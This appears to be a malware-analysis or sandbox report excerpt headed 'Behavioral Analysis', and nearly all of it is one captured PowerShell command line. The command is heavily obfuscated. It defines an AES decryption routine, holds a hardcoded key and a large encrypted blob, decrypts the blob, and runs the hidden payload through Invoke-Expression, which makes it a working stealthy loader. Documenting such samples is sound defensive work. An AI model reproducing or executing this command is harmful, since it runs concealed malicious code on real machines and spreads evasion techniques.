Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI49958097433743076509724959814142CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIbxuRBZW58D6qHa6OaTz/wPo2erEU3a8XHWrkXAdbdzTC5T84fuiWq58k3i/POU4yNFit1HabT7Ip/uUGVBt4z8Uo7htAUUgjHEN/nsapjY6CPUspvGVUGHssU+Pr5nnVpAZRUrtIGtx098n/onUN4/9UdxjeWta56320IcuEKx5FBRF8BN5agrfzcPl8nWFJaCYbxALQD0pd8wcDcG7Z4qp//WpU8YzhhoHcmfr6tHPpzTEfbrZwiVOvuw+/JvzsrMeYk7zZu+UUshFBQ5tqcmHnYcNcKNeVyySh7vbF4dtVBPC59rcDf45Ip8e8qgnf+f59F72C6X8w7BKmWcxDrvkgIJEdDAL8hj2Jkhtpz0sR4L4aVrWtEQPJ8yxgXf1T2rm+XpdfVfU+ukTx19Jz3wEIAgQSafjf0GfBAL3e4NWDVLet9944vxSiJB8xEd7JenGiyEOtI3Y3hprPXCw66eWQhoF3a145gY3Z2R4BogKZJ5gqp0EKkBqBT9JxAuN4bfZO+TSndIjmga9njg4/qNNYfeYV/uMRKhd+jYkkLNLrx6xGX9qi7fRuFbBprznkr12YuC7yJFQ2x0WsaX8X99Ti2tR/xVNE4EhJ7YWvD7ep2zjQ2woL0IBVZZWRC5I63PpIH400MNDUg8N135wf5JXMORFTBbnzE6SBNiXK6moSaSigUyIRhCN3MyxeECsYo51cbZ/6yqA6VLl9UwtSXFZkT6jsXN4VfMfanH4oR0pi+fnhBmdC+kor0H1eu3doM8tnX5jwkbA3g5RpVHVTwpCCiK/Odz2S8a2CmmJm46STR0hWNzn3oQo1Kld1xQ+1H8hCRSAJvVgqx0wbyv5ng74HSF/sOKduVg5TOulc0bAM2XZNa3NBd2k22BRcCPbE8qhywR0mDi7halZQFXAg8MkRAO0IpVULqcOhikrF+vgmdDw5nxwkSQghmqNulszxeC3Zk9uOC9fO9U2Om796d5NxN0o1Pe2Q7NqhzvPLHu7e5uzSTM6IOxVwRS1jI2X4kkSFKPx5pphUxpLEKB7kQwodoqK5/vSNq9DQIjN4kBA2oWI4BLdmL0+z+59rwTBW487/tVZMEyOa07ecYQeUh66aUseTs5+7zOjmEKrPtKQvkMDJnbAJKX385iV8MzoKGDBarEeSHT3Juol3DEq2A8RWkZdNDTL9gnFsG8rzPUewwTYqHynUuMh5CvZ/ZY0xv/HckoVxNKNGiY5Lzzih8SGOjMqMrXQPiaM+gvZbG3wf2VQkwyAEOH5p54L4m5O5omGT+jAdZzINuqShbK3l0wnwvp/1xtT8MQUezvxMnbqY70jjYLzsmxU+mqfUDhefKjgph7AlvQ909Z5XJmZnneYUGHW/2eWRp9MDZ+jWBNcUhGoUshHAdJ9QTrZSjBiXRG6ahqVSqrmyPd9m1isTmsd2uwpnR/Vv3sDR0Rpa6wRvf3FwwoHMJu7X9zC+Tub3ZCRtEYLoN5hNYt4Ci5ibCNjKAfPWHRBkhpXGJ4vxdNdesz33k4eAkMZFnBRlmUTdq+SY9gKxwq+9Pt2oCH8n9g9JSH93H57AAoPSteAmN+kM8YADHtLsjfKI1n/gboID0K3ci8Im+jLfaq/isIkAQtaFeepycXL9kn3HexD3NbJAn6fY0OQ8fIAKm2bi+W0vdvcXgrjypy+pLfd9B7bUz22aDOxkoZTFdRt1nVGbdgC2CCcFMLqM+ONKbDKmg2i1b2PUwPHKEMYrCPj33PxTJx0uYF6FcTqZWr1FunIOIXGkRF6YnlxA91J0qtZED4hJCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')